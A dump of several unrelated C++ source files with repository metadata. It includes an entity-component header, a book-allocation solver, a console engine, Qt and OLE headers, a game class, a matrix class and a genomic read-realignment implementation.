#ifndef ENTITY_H #define ENTITY_H #include <algorithm> #include <set> #include "component.h" namespace ecs { class Entity; using EntityPtr = std::shared_ptr<Entity>; using EntityPtrs = std::set<EntityPtr>; class Entity { public: Entity(); virtual ~Entity(); enum class State { ACTIVE, DISABLED, DEAD }; inline void setState(const State& state) { state_ = state; } inline State getState() const { return state_; } template <class Component_T, class... Args> void setComponent(Args... args); template <class Component_T> bool removeComponent(); template <class Component_T> bool componentExists(); template <class Component_T> std::shared_ptr<Component_T> component(); template <class... Args> ComponentPtrs components(); inline size_t componentsSize() { return components_.size(); } protected: ComponentPtrs components_; State state_ = State::ACTIVE; }; template <class Component_T> bool Entity::componentExists() { return !(component<Component_T>() == nullptr); } template <class Component_T, class... Args> void Entity::setComponent(Args... args) { removeComponent<Component_T>(); components_.insert(ComponentPtr(new Component_T(args...))); } template <class Component_T> bool Entity::removeComponent() { ComponentPtr c = component<Component_T>(); if (!c) return false; components_.erase(c); return true; } template <class Component_T> std::shared_ptr<Component_T> Entity::component() { auto found = std::find_if(std::cbegin(components_), std::cend(components_), [](const ComponentPtr& component) -> bool { return dynamic_cast<Component_T*>(component.get()); }); return found == components_.cend() ? nullptr : std::dynamic_pointer_cast<Component_T>(*found); } template <class... Args> ComponentPtrs Entity::components() { ComponentPtrs res{component<Args>()...}; res.erase(nullptr); return res; } } // namespace ecs #endif // ENTITY_H
9e02c18ca277e960f1fe46229069567a50bee1f4
55c48947cd58be4492122de693118d2ef2fa44b7
/allocateBooks.cpp
493b83e2f2528229f80d6ad845cf4d699a1df695
[]
no_license
akshit-rohra-debug/ProblemSolving-DSA
3c38a9ec520d7aa458de1946dbf61dfc3a97ecf4
88216a1c2ab17c450fdcac85d0009d5d28a47745
refs/heads/main
2023-07-17T02:41:41.656003
2021-09-02T16:43:02
2021-09-02T16:43:02
365,571,996
1
0
null
null
null
null
UTF-8
C++
false
false
2,339
cpp
allocateBooks.cpp
/* * Given an array of integers A of size N and an integer B. * College library has N books,the ith book has A[i] number of pages. * You have to allocate books to B number of students so that maximum * number of pages alloted to a student is minimum. * A book will be allocated to exactly one student. * Each student has to be allocated at least one book. * Allotment should be in contiguous order, for example: A student * cannot be allocated book 1 and book 3, skipping book 2. * Calculate and return that minimum possible number. * NOTE: Return -1 if a valid assignment is not possible. */ #include <iostream> #include <vector> #include <algorithm> using namespace std; bool allocationPossible(vector<int> &A, int mid, int n) { int sum = 0; vector<int>::iterator it = A.begin(); if ((*max_element(A.begin(), A.end()))>mid) return false; while(it!=A.end()) { if((sum+(*it))>mid) { //cout << "Element: " << (*it) << endl; //cout << "Sum: " << sum+(*it) << endl; //cout << "Allocation with sum = *it" << endl; n--; sum = *it; } else if ((sum+(*it))==mid) { //cout << "Element: " << (*it) << endl; //cout << "Sum: " << sum+(*it) << endl; //cout << "Allocation with sum = 0" << endl; n--; sum=0; } else { sum = sum + *it; } it++; } return (n==0) ? (sum==0) : (n>0); } int books(vector<int> &A, int B) { if (B>A.size()) return -1; int min = 0; vector<int>::iterator it = A.begin(); int max = 0; while(it!=A.end()) { max += *it; it++; } int mid = 0; while(min<max) { mid = min + (max-min)/2; //cout << "Min: " << min << endl; //cout << "Max: " << max << endl; //cout << "Mid: " << mid << endl; if (allocationPossible(A, mid, B)) { //cout << "True" << endl; max = mid; } else { //cout << "False" << endl; min = mid + 1; } } //cout << "Answer: " << min << endl; return min; } int main() { vector<int> A = {97, 26, 12, 67, 10, 33, 79, 49, 79, 21, 67, 72, 93, 36, 85, 45, 28, 91, 94, 57, 1, 53, 8, 44, 68, 90, 24}; int B = 26; cout << books(A,B) << endl; return 0; }
e1e9e0bc5bcb156d3cf6aa0238534a5ecf68cbec
399916c630707c4669f0d74a84458bf81567312b
/Code/3D_Engine/3D_Engine/ConsoleEngine.h
03a32a1fc78e7319893f4f09eb8333674bdee1f4
[]
no_license
ShaneBolding/C-Cpp
58085bd9d5c13c15e401972f5a150b18798d35c3
9cd7825da8b562722040ac8ca286998354fe8ffb
refs/heads/master
2023-06-05T00:23:42.806311
2021-06-29T18:35:26
2021-06-29T18:35:26
260,534,377
0
0
null
null
null
null
UTF-8
C++
false
false
1,444
h
ConsoleEngine.h
#pragma once #pragma comment(lib, "winmm.lib") enum COLOR //add color { FG_BLACK = 0x0000, FG_DARK_BLUE = 0x0001, FG_DARK_GREEN = 0x0002, FG_DARK_CYAN = 0x0003, FG_DARK_RED = 0x0004, FG_DARK_MAGENTA = 0x0005, FG_DARK_YELLOW = 0x0006, FG_GREY = 0x0007, FG_DARK_GREY = 0x0008, FG_BLUE = 0x0009, FG_GREEN = 0x000A, FG_CYAN = 0x000B, FG_RED = 0x000C, FG_MAGENTA = 0x000D, FG_YELLOW = 0x000E, FG_WHITE = 0x000F, BG_BLACK = 0x0000, BG_DARK_BLUE = 0x0010, BG_DARK_GREEN = 0x0020, BG_DARK_CYAN = 0x0030, BG_DARK_RED = 0x0040, BG_DARK_MAGENTA = 0x0050, BG_DARK_YELLOW = 0x0060, BG_GREY = 0x0070, BG_DARK_GREY = 0x0080, BG_BLUE = 0x0090, BG_GREEN = 0x00A0, BG_CYAN = 0x00B0, BG_RED = 0x00C0, BG_MAGENTA = 0x00D0, BG_YELLOW = 0x00E0, BG_WHITE = 0x00F0, }; enum PIXEL_TYPE //add pixel types { PIXEL_SOLID = 0x2588, PIXEL_THREEQUARTERS = 0x2593, PIXEL_HALF = 0x2592, PIXEL_QUARTER = 0x2591, }; class ConsoleEngine { public: ConsoleEngine() { m_nScreenWidth = 80; m_nScreenHeight = 30; m_hConsole = GetStdHandle(STD_OUTPUT_HANDLE); m_hConsoleIn = GetStdHandle(STD_INPUT_HANDLE); std::memset(m_keyNewState, 0, 256 * sizeof(short)); std::memset(m_keyOldState, 0, 256 * sizeof(short)); std::memset(m_keys, 0, 256 * sizeof(sKeyState)); m_mousePosX = 0; m_mousePosY = 0; m_bEnableSound = false; m_sAppName = L"Default"; } };
cae54020559e8c020f8f38de91c1ac30a9e55b60
0237093adbfa42b60091288088e3e412ddf2df35
/Views/MainMenuView.h
20b20ff8e8ebc9d2d11233f9ffd30bc0d0dbaf0b
[]
no_license
sjjh/guidev2
2a6ca206a032abe23696cdec4b15c9e89e8b5c15
803e4742947d982aad4ceffa4054ec1465cd585e
refs/heads/master
2021-01-18T09:56:38.749046
2013-06-02T20:00:01
2013-06-02T20:00:01
null
0
0
null
null
null
null
UTF-8
C++
false
false
469
h
MainMenuView.h
// // MainMenuView.h // guidev2 // // Created by Jens Meder on 21.05.13. // // #ifndef __guidev2__MainMenuView__ #define __guidev2__MainMenuView__ #include <iostream> #include <QWidget> #include <QTabWidget> class MainMenuView: public QWidget { public: MainMenuView(QWidget* parent = 0); virtual ~MainMenuView(); QTabWidget* getTabs(); private: QTabWidget* tabs; }; #endif /* defined(__guidev2__MainMenuView__) */
b458b30ec1416127fdd64ed0cc44bdbfc71e819f
144021a0bbb1819061b62eb041dfdba5538e2de4
/src/ADBSCEditDLL/src/Utils/OLE/OLEDataObject.h
62bd394133fee94dc0c24ba33e70c7f39e826f42
[ "MIT" ]
permissive
WilliamQf-AI/ADB-Android-Viewer
e4821ff3af579bf96df978c18d1970d99a114d7b
c619fe626ab390b656893974700a0b6379159c03
refs/heads/master
2023-04-03T15:57:34.868437
2019-12-15T07:50:14
2019-12-15T07:50:14
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,683
h
OLEDataObject.h
// // Origin: // DATAOBJECT.CPP // Implementation of the IDataObject COM interface // By J Brown 2004 // www.catch22.net // #pragma once namespace GameDev { class OLEDataObject final : public IDataObject { public: // // IUnknown members // HRESULT __stdcall QueryInterface (REFIID, void**); ULONG __stdcall AddRef(); ULONG __stdcall Release(); // // IDataObject members // HRESULT __stdcall GetData(FORMATETC*, STGMEDIUM*); HRESULT __stdcall GetDataHere(FORMATETC*, STGMEDIUM*); HRESULT __stdcall QueryGetData(FORMATETC*); HRESULT __stdcall GetCanonicalFormatEtc(FORMATETC*, FORMATETC*); HRESULT __stdcall SetData(FORMATETC*, STGMEDIUM*, BOOL); HRESULT __stdcall EnumFormatEtc(DWORD, IEnumFORMATETC**); HRESULT __stdcall DAdvise(FORMATETC*, DWORD, IAdviseSink*, DWORD*); HRESULT __stdcall DUnadvise(DWORD); HRESULT __stdcall EnumDAdvise(IEnumSTATDATA**); // // Constructor / Destructor // OLEDataObject(FORMATETC*, STGMEDIUM*, int); ~OLEDataObject(); // static HRESULT CreateDataObject(FORMATETC*, STGMEDIUM*, UINT, IDataObject**); private: // int LookupFormatEtc(FORMATETC*); // // any private members and functions // LONG m_lRefCount; FORMATETC *m_pFormatEtc; STGMEDIUM *m_pStgMedium; LONG m_nNumFormats; }; };
4a7eaa7fd2a197e17e4af3c6fd37937ebfbd9163
1d9b5b89e4074405ee4e17b929227ba1f9c9bee3
/Project 3 (Fantasy Combat Game)/barbarian.cpp
21e6b0c82e81bd257684c9b51b08e71f7fb653ef
[]
no_license
solorzao/CS162-Introduction-to-Programming-2
44ae5d2ed57868eba63bd0b28cee4e31583e5669
028e9e3befdf8412a0770b41b58890905cd6c5ac
refs/heads/master
2021-06-29T16:08:30.012439
2021-02-13T23:08:20
2021-02-13T23:08:20
214,265,522
0
0
null
null
null
null
UTF-8
C++
false
false
1,844
cpp
barbarian.cpp
/******************************************************************* * Name: Oliver Solorzano * Course: CS 162 W 2019 * Assignment: Project 3 * Date: 16 Feb 2019 * Description: This is the implementation file for the barbarian * class. It defines the functions of the barbarian class. *******************************************************************/ #include "barbarian.hpp" #include <cstdlib> Barbarian::Barbarian() //constructor that initializes attribute values unique to class { armor_pts = 0; type = "Barbarian"; strength_pts = 12; } int Barbarian::attack() //attack function { attack_pts = (rand() % 6 + 1) + (rand() % 6 + 1); return attack_pts; } void Barbarian::defense(int opp_attack_pts) //defense function { defense_pts = (rand() % 6 + 1) + (rand() % 6 + 1); defense_pts += armor_pts; //add armor pts to defense total damage_taken = opp_attack_pts - defense_pts; //damage taken calculated by subtracting defense from offense pts if (damage_taken < 0) //prevent damage taken from being negative, else adds to strength pts { damage_taken = 0; } strength_pts = strength_pts - damage_taken; //subtract damage taken from strength pts if (strength_pts < 0) //prevent strength points from being negative { strength_pts = 0; } } std::string Barbarian::get_type() //return type as string { return type; } int Barbarian::get_strength() //return current strength pts { return strength_pts; } int Barbarian::get_armor() //return current armor pts { return armor_pts; } int Barbarian::get_damage_taken() //return damage taken { return damage_taken; } int Barbarian::get_attack_pts() //return attack pts { return attack_pts; } int Barbarian::get_defense_pts() //return defense pts { return defense_pts; }
8c851e1e5d772343ce17f9b6f16836f7f081b365
bc683439667bf9daa87fe45faf79dd136a0d3247
/ch0104/ch0104_10.cpp
a6dc6404df3ed219eb9d63cb59d8a9726db57fb5
[ "MIT" ]
permissive
sun1218/openjudge
d5d0f5284f31f5c4799517fd88a3c1137e50df74
07e44235fc6ac68bf8e8125577dcd008b08d59ec
refs/heads/master
2020-03-31T03:05:33.254992
2018-12-31T05:26:50
2018-12-31T05:26:50
151,852,089
0
1
null
null
null
null
UTF-8
C++
false
false
250
cpp
ch0104_10.cpp
#include <iostream> #include <cstdio> #include <cmath> using namespace std; int main(void) { int n1,n2; scanf("%d%d",&n1,&n2); if (n1<60&&n2<60){ printf("0"); } else if (n1<60||n2<60){ printf("1"); } else{ printf("0"); } return 0; }
dda7bb4121343a2e76d237e25eb3753a15c1fda7
983b6e940d0b9e02da13d242dcd9e42339f18776
/lib/matrix.cpp
5afadda2e1d9672dad39a90122535ef11ae78d1a
[]
no_license
keshavnandan/OpenGL
304608ccf5eb79ca78bcace0208e19c2383a259f
435b22d9aa7d3095cb7d24c8254c9d730da2b279
refs/heads/master
2021-01-09T05:23:30.947896
2012-04-02T15:49:34
2012-04-02T15:49:34
3,876,869
4
3
null
null
null
null
UTF-8
C++
false
false
3,211
cpp
matrix.cpp
#include "matrix.h" Matrix::Matrix(int r,int c) { row=r; column=c; allocate(); } void Matrix::allocate() { int m=row,n=column; p=new float*[m]; for(int i=0;i<m;i++) *(p+i)=new float[n]; for(int k=0;k<m;k++) for(int j=0;j<n;j++) put_value(k,j,0.0); } float Matrix::get_value(int row,int col) { return(p[row][col]); } void Matrix::put_value(int row,int col,float item) { p[row][col]=item; } float Matrix::det() { ///assert if(row!=column) cerr<<"row and column of matrix are unequal"; else{ int order=row; if(order==1) return p[0][0]; int i,j,sum=0; for(int k=0;k<order;k++) { int l=0,m=0; Matrix M(order-1,order-1); for(i=1;i<order;i++) { for(j=0;j<order;j++) { if(j==k) continue; M.put_value(l,m,get_value(i,j)); m++; } m=0; l++; } sum+=(pow(-1,k)*M.det()*get_value(0,k)); } return sum; } } Matrix::~Matrix() { for(int i=0;i<row;i++){ delete []*(p+i); //cout<<"row "<<i<<" is deleted"<<endl; } delete []p; //cout<<"pointer p is deleted now"<<endl; } Matrix& Matrix::operator=(const Matrix& m) { if(this!=&m){ if(row!=m.row||column!=m.column) { cerr<<"both matrices have different row and column"; } else{ for(int i=0;i<row;i++) for(int j=0;j<column;j++) p[i][j]=m.p[i][j]; } return *this; } } Matrix::Matrix(Matrix& m) { row = m.row; column=m.column; allocate(); if(row!=m.row||column!=m.column) { cerr<<"both matrices have different row and column";//error } else{ for(int i=0;i<row;i++) for(int j=0;j<column;j++) p[i][j]=m.p[i][j]; } } Matrix::Matrix() { row=1,column=1; } Matrix operator+(const Matrix& P,const Matrix& Q){ if(P.row!=Q.row||P.column!=Q.column) { cerr<<"both matrices have different row and column";//error } else{ int row=P.row,column=Q.column; Matrix M(row,column); for(int i=0;i<row;i++) for(int j=0;j<column;j++) M.p[i][j]=P.p[i][j]+Q.p[i][j]; return M; } } Matrix operator*(const Matrix& P,const Matrix& Q){ if(P.column!=Q.row) { cerr<<"both matrices cannot be multiplied";//error } else{ int row=P.row,column=Q.column; Matrix M(row,column); for(int i=0;i<row;i++){ for(int j=0;j<column;j++){ for(int k=0;k<P.column;k++) M.p[i][j]=M.p[i][j]+(P.p[i][k])*(Q.p[k][j]); } } return M; } } ostream& operator<<(ostream &os,const Matrix &M){ int m=M.row,n=M.column; cout<<"row of Matrix is "<<m<<endl<<"col of matrix is "<<n<<endl; for(int i=0;i<m;i++){ for(int j=0;j<n;j++) os<<M.p[i][j]<<"\t"; if(!os) cerr<<"error writing to output"; os<<endl; } return os; } istream& operator>>(istream &is,Matrix &M){ int m=M.row,n=M.column; for(int i=0;i<m;i++){ for(int j=0;j<n;j++) is>>M.p[i][j]; if(!is){ cerr<<"error reading input"; exit(1); } } return is; }
096b3c40b7702146951337d14ea86103870e60b4
338f309303b588fae8cff809137dff7feaf6ebd2
/l39/rectangle.cpp
da68f47cab4243cba87aed29d2bd534ef66b5f00
[]
no_license
yihchun/ece220flip
8e4f8b018da5fbe63218b5a83453b412caeee64d
8cf041cbe9ad9af0fc25734413577049d9336c17
refs/heads/master
2023-02-25T14:09:08.355699
2021-01-27T23:45:07
2021-01-27T23:45:07
272,836,425
2
1
null
null
null
null
UTF-8
C++
false
false
383
cpp
rectangle.cpp
#include <iostream> using namespace std; class Rectangle { int width, height; public: Rectangle() { width = height = 0; } Rectangle(int, int); int area() const { return width * height; } }; Rectangle::Rectangle(int w, int h) { width = w; height = h; } int main() { Rectangle a(3,4); Rectangle b; cout << a.area() << endl; cout << b.area() << endl; return 0; }
099ce25c61532aad71bed3c966b9275eac725cd4
f2bfe92bcb233798fc9c49ed22748d8c7571706a
/SkyEngine/old/VertexInputLayout.h
c24a4d11ef40001c81676894ce2b0178014c1260
[]
no_license
am17/SkyEngine
d5ed9064daa00151a3dec182cd328b2f369555eb
5882ba9a267fbfb134e1eff44cb026a3ebd30302
refs/heads/master
2021-01-23T02:05:44.370183
2017-06-19T20:27:47
2017-06-19T20:27:47
92,908,018
0
0
null
null
null
null
UTF-8
C++
false
false
488
h
VertexInputLayout.h
#pragma once #include <d3d11.h> namespace sky { enum ELEMENT_FORMAT { FLOAT2 = 0, FLOAT3 = 1, FLOAT4 = 2 }; struct VertexLayoutDesc { char* SemanticName; unsigned int SemanticIndex; ELEMENT_FORMAT Format; unsigned int InputSlot; bool ForInstance; }; class VertexInputLayout { public: VertexInputLayout(); ~VertexInputLayout(); void setData(ID3D11InputLayout *data); ID3D11InputLayout* getData() const; private: ID3D11InputLayout* m_layout; }; }
3c18730e304c8df662715e858a8c25e4cd19bcef
f8a6f36347d36e27cbf8f52f55475ad0e14ad7ae
/NuoVulkan/NuoVulkanShaderLibrary.h
58aa8b0008ae5db3ca9daeb6520a802382af41de
[]
no_license
middlefeng/NuoVK
b35809d1dd19ec21b8ace4163fc79f9470cc9e78
6f596659de57d2efe8c45dbb114db7222a828739
refs/heads/master
2020-03-18T07:05:50.227222
2018-06-01T15:25:38
2018-06-01T15:25:38
134,432,127
0
0
null
null
null
null
UTF-8
C++
false
false
929
h
NuoVulkanShaderLibrary.h
// // NuoVulkanShaderLibrary.hpp // Cube-iOS // // Created by middleware on 5/22/18. // #ifndef NuoVulkanShaderLibrary_hpp #define NuoVulkanShaderLibrary_hpp #include <memory> #include <map> #include <string> class NuoVulkanDevice; class NuoVulkanShaderModule; typedef std::shared_ptr<NuoVulkanDevice> PNuoVulkanDevice; typedef std::shared_ptr<NuoVulkanShaderModule> PNuoVulkanShaderModule; class NuoVulkanShaderLibrary { typedef std::map<std::string, PNuoVulkanShaderModule> ShaderModuleMap; PNuoVulkanDevice _device; ShaderModuleMap _shaderMap; std::string _libraryPath; public: NuoVulkanShaderLibrary(const PNuoVulkanDevice& device, const std::string& libraryPath); PNuoVulkanShaderModule ShaderModule(const std::string& name); }; typedef std::shared_ptr<NuoVulkanShaderLibrary> PNuoVulkanShaderLibrary; #endif /* NuoVulkanShaderLibrary_hpp */
043f949735b902ec8d2f73a6fa202dc82a937792
1b79fdd2b6183ede4f4ec3c7832867cf3f13a6b9
/src/tests/BBSTatement_test.h
dbf08813a2fa05f5c50c102f7162a237624f5efb
[]
no_license
TREK-TMS-BB/TMS-BB
f59bb677d8fc46d5c593b2ea427911cb354407e0
56d1f9a5972ed4e2aaf8b011a08a2d2538d9b3c2
refs/heads/master
2021-01-02T08:38:49.970136
2014-01-20T12:57:38
2014-01-20T12:57:38
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,521
h
BBSTatement_test.h
/* * BBSTatement_test.h * * Created on: 20-jan.-2014 * Author: erkki */ #ifndef BBSTATEMENT_TEST_H_ #define BBSTATEMENT_TEST_H_ #include <iostream> #include "../BareBonesStatement.h" #include <gtest/gtest.h> namespace tests { class BBStatementTest: public testing::Test { friend class BB::BBclear; friend class BB::BBcopy; friend class BB::BBdecr; friend class BB::BBincr; friend class BB::BBwhile; protected: Grammar::CYKTable cyk; virtual void SetUp() { } virtual void TearDown() { } }; TEST_F(BBStatementTest, BBclear) { BB::BBclear bbc(5); EXPECT_EQ(bbc.variable_, 5); EXPECT_EQ(bbc.statementNr_, BB::BareBonesStatement::count_); } TEST_F(BBStatementTest, BBcopy) { BB::BBcopy bbc(5, 8); EXPECT_EQ(bbc.original_, 5); EXPECT_EQ(bbc.copy_, 8); EXPECT_EQ(bbc.statementNr_, BB::BareBonesStatement::count_); } TEST_F(BBStatementTest, BBdecr) { BB::BBdecr bbc(5); EXPECT_EQ(bbc.variable_, 5); EXPECT_EQ(bbc.statementNr_, BB::BareBonesStatement::count_); } TEST_F(BBStatementTest, BBincr) { BB::BBincr bbc(5); EXPECT_EQ(bbc.variable_, 5); EXPECT_EQ(bbc.statementNr_, BB::BareBonesStatement::count_); } TEST_F(BBStatementTest, BBwhile) { std::shared_ptr<BB::BareBonesStatement> bbprt = new BB::BBincr(1); std::vector<std::shared_ptr<BB::BareBonesStatement> > body; body.push_back(bbprt); BB::BBwhile bbc(5, body); EXPECT_EQ(bbc.body_, body); EXPECT_EQ(bbc.compVar_, 5); EXPECT_EQ(bbc.statementNr_, BB::BareBonesStatement::count_); } } #endif /* BBSTATEMENT_TEST_H_ */
d12ba8c3c0e35ec500c625719ea401967bea01ab
9f471098f97a7cdb7860c8ee535cf5fd493073f0
/apps/fastr/AlignedRead.cpp
83afe384d29e37a8b74db2e333c2dc03659e88b5
[ "MIT" ]
permissive
BIW77/CTC
aad6f398cbf4807c88380a0c8353816b4ad5fbbd
299394bb6550b1ded19db3c9a6e2cd9181526cc3
refs/heads/master
2021-05-26T20:45:12.731003
2012-05-23T19:55:30
2012-05-23T19:55:30
104,521,949
0
1
null
2017-09-22T21:55:03
2017-09-22T21:55:02
null
UTF-8
C++
false
false
9,541
cpp
AlignedRead.cpp
/********************************************************************************** * Copyright (c) 2012 by Virginia Polytechnic Institute and State University. * * The local realignment portion of the code is derived from the Indel Realigner * code of the GATK project, and the I/O of bam files is extended from the * bamtools package, which is distributed under the MIT license. The licenses of * GATK and bamtools are included below. * * *********** GATK LICENSE *************** * Copyright (c) 2010, The Broad Institute * * Permission is hereby granted, free of charge, to any person obtaining a copy of * this software and associated documentation files (the "Software"), to deal in * the Software without restriction, including without limitation the rights to * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies * of the Software, and to permit persons to whom the Software is furnished to do * so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * *********** BAMTOOLS LICENSE *************** * The MIT License * * Copyright (c) 2009-2010 Derek Barnett, Erik Garrison, Gabor Marth, Michael Stromberg * * Permission is hereby granted, free of charge, to any person obtaining a copy of * this software and associated documentation files (the "Software"), to deal in * the Software without restriction, including without limitation the rights to * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies * of the Software, and to permit persons to whom the Software is furnished to do * so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER * DEALINGS IN THE SOFTWARE. **********************************************************************************/ #include <utility> #include <vector> #include <string.h> #include <stdlib.h> //from bamtools: #include "api/BamReader.h" // (or "BamMultiReader.h") as needed #include "api/BamWriter.h" // as needed #include "api/BamAux.h" #include "api/SamSequence.h" #include "api/SamConstants.h" #include "IndelRealigner.h" #include "HelperFunctions.h" #include "AlignedRead.h" #include "Types.h" // pull out the bases that aren't clipped out void AlignedRead::getUnclippedBases() { int readLen = getReadLength(); readBases = new byte[readLen]; readBasesLen = readLen; baseQuals = new byte[readLen]; baseQualsLen = readLen; const char *actualReadBases = read->AlignedBases.c_str();//read.getReadBases(); const char *actualBaseQuals = read->Qualities.c_str();//read.getBaseQualities(); int fromIndex = 0, toIndex = 0; int qualD = 0; //cout << CigarToString(read->CigarData) << endl; for(Cigar::iterator itr = read->CigarData.begin(); itr != read->CigarData.end(); itr++) { CigarOp ce = *itr; int elementLength = ce.Length; //ce.getLength(); switch(ce.Type) { case 'D': fromIndex += elementLength; qualD += elementLength; break; case 'S': qualD -= elementLength; break; case 'M': case 'I': //System.arraycopy(actualReadBases, fromIndex, readBases, toIndex, elementLength); for(int i = 0; i < elementLength; i++) { readBases[toIndex + i] = actualReadBases[fromIndex + i]; } //System.arraycopy(actualBaseQuals, fromIndex, baseQuals, toIndex, elementLength); for(int i = 0; i < elementLength; i++) { baseQuals[toIndex + i] = actualBaseQuals[fromIndex + i - qualD] - 33; //CONVERT FROM FASTQ TO PHRED } fromIndex += elementLength; toIndex += elementLength; break; default: break; } } // cout << "###\t" << toIndex << endl; // if we got clipped, trim the array if(fromIndex != toIndex) { char *trimmedRB = new char[toIndex]; char *trimmedBQ = new char[toIndex]; //System.arraycopy(readBases, 0, trimmedRB, 0, toIndex); for(int i = 0; i < toIndex; i++) { trimmedRB[i] = readBases[i]; } //System.arraycopy(baseQuals, 0, trimmedBQ, 0, toIndex); for(int i = 0; i < toIndex; i++) { trimmedBQ[i] = baseQuals[i]; } delete[] readBases; delete[] baseQuals; readBases = trimmedRB; readBasesLen = toIndex; baseQuals = trimmedBQ; baseQualsLen = toIndex; } readBasesLen = toIndex; } // pull out the bases that aren't clipped out Cigar AlignedRead::reclipCigar(Cigar *cigar) { return IndelRealigner::reclipCigar(cigar, *read); } AlignedRead::AlignedRead(BamAlignment *r) { read = r; mismatchScoreToReference = 0; newStart = -1; alignerMismatchScore = 0; readBases = NULL; newCigar = NULL; baseQuals = NULL; } AlignedRead::AlignedRead(const AlignedRead &other) { read = other.read; mismatchScoreToReference = other.mismatchScoreToReference; newStart = other.newStart; alignerMismatchScore = other.alignerMismatchScore; readBasesLen = other.readBasesLen; baseQualsLen = other.baseQualsLen; if(other.readBases != NULL) { readBases = new byte[other.readBasesLen]; memcpy(readBases, other.readBases, other.readBasesLen); } else { readBases == NULL; } if(other.newCigar != NULL) { newCigar = new Cigar(*other.newCigar); } else { newCigar = NULL; } if(baseQuals != NULL) { baseQuals = new byte[other.baseQualsLen]; memcpy(baseQuals, other.baseQuals, other.baseQualsLen); } else { baseQuals = NULL; } } AlignedRead::~AlignedRead() { delete newCigar; delete[] baseQuals; delete[] readBases; } BamAlignment *AlignedRead::getRead() { return read; } int AlignedRead::getReadLength() { return readBases != NULL ? readBasesLen : read->Length; } byte *AlignedRead::getReadBases() { if(readBases == NULL) { getUnclippedBases(); } return readBases; } byte *AlignedRead::getBaseQualities() { if(baseQuals == NULL) { getUnclippedBases(); } return baseQuals; } Cigar AlignedRead::getCigar() { return (newCigar != NULL ? *newCigar : read->CigarData); } void AlignedRead::setCigar(Cigar *cigar) { setCigar(cigar, true); } // tentatively sets the new Cigar, but it needs to be confirmed later void AlignedRead::setCigar(Cigar *cigar, bool fixClippedCigar) { delete newCigar; if(cigar == NULL) { newCigar = NULL; return; } if(fixClippedCigar && readBasesLen < read->Length) { *cigar = reclipCigar(cigar); } // no change? if(CigarsEqual(read->CigarData, *cigar)) { delete cigar; newCigar = NULL; return; } // no indel? //string str = cigar.toString(); //if ( !str.contains("D") && !str.contains("I") ) { //printf("Modifying a read with no associated indel; although this is possible, it is highly unlikely. Perhaps this region should be double-checked: " + read.getReadName() + " near " + read.getReferenceName() + ":" + read.getAlignmentStart()); // newCigar = NULL; // return; // } newCigar = cigar; } // tentatively sets the new start, but it needs to be confirmed later void AlignedRead::setAlignmentStart(int start) { newStart = start; } int AlignedRead::getAlignmentStart() { return (newStart != -1 ? newStart : read->Position); } int AlignedRead::getOriginalAlignmentStart() { return read->Position; } // finalizes the changes made. // returns true if this record actually changes, false otherwise bool AlignedRead::finalizeUpdate() { // if we haven't made any changes, don't do anything if(newCigar == NULL) { return false; } if(newStart == -1) { newStart = read->Position; } else if(abs(newStart - read->Position) > 200) { return false; } else if(abs(newStart - read->Position) > 30) { //printf("%d\n", newStart - read->Position); } // annotate the record with the original cigar (and optionally the alignment start) //if ( !NO_ORIGINAL_ALIGNMENT_TAGS ) { //NO_ORIGINAL_ALIGNMENT_TAGS=false read->EditTag(BamTools::Constants::SAM_CO_BEGIN_TOKEN, "Z", CigarToString(read->CigarData)); if(newStart != read->Position) { read->EditTag("OP", "Z", read->Position); } //} read->CigarData = *newCigar; read->Position = newStart; return true; } void AlignedRead::setMismatchScoreToReference(int score) { mismatchScoreToReference = score; } int AlignedRead::getMismatchScoreToReference() { return mismatchScoreToReference; } void AlignedRead::setAlignerMismatchScore(long score) { alignerMismatchScore = score; } long AlignedRead::getAlignerMismatchScore() { return alignerMismatchScore; }
9d49a9680cc7b59c38cfb738b2e87caa8d6d786b
d7784cb9ce174ec5091d327b21ebcf4c6c507388
/yukicoder/21.cpp
225bef6b6f211ff243505103c46b8fbacbd4a920
[]
no_license
mmxsrup/procon
3a349b10c852ad593ecedcdd1c9fdb93cb8d8f3b
af059cc3f6786db71f0077d1ec5d902171b9860a
refs/heads/master
2021-01-17T15:05:05.580007
2017-12-06T07:52:53
2017-12-06T07:52:53
84,103,106
0
0
null
null
null
null
UTF-8
C++
false
false
290
cpp
21.cpp
#include <iostream> #include <algorithm> #include <vector> using namespace std; #define rep(i,n) for(int i=0;i<(n);i++) int main(void){ int n, k; cin >> n >> k; vector<int> num(n); rep(i, n) cin >> num[i]; sort(num.begin(), num.end()); cout << num[n - 1] - num[0]<< endl; return 0; }
cfdbbad8b4b1b0af73c41eca442ac64e6bd9ce96
ec2b868e3b0cc4b5be2ddf6e7f7df65b0f1625ec
/common/singleton.h
94d650bc87f2a9dbf1af0f30f5ad353cb41411b4
[]
no_license
Vccccc/cvgame
9e246fef4cf84cbeea789b68c73246fb6cdb2618
afaa32cf08e1c255e0e512fc1c6d2e081123e46c
refs/heads/master
2023-02-07T22:27:17.980510
2021-01-03T08:17:36
2021-01-03T08:17:36
290,807,561
0
0
null
null
null
null
UTF-8
C++
false
false
549
h
singleton.h
#pragma once #include "noncopyable.h" template<typename T> class Singleton : public noncopyable { public: static T* Instance() { return instance_; } T* Instance(T* instance = nullptr) { if(instance) { if(instance_) { delete instance_; } instance_ = instance; } return instance_; } private: Singleton() {} ~Singleton() {} static T* instance_; }; template <typename T> T *Singleton<T>::instance_ = nullptr;
693ca21c6e6f0602f8cce16763ec23628317f959
1c8d1dad58985625b6b212fa81619141f73c870d
/Source/Camera.cpp
dc69c9dbf6c820690ea0bbb0fc146268e25b6147
[]
no_license
Edaenge/NDYGFX
6fdbc1ac59c1269189ad6edced6a440f351b9ad7
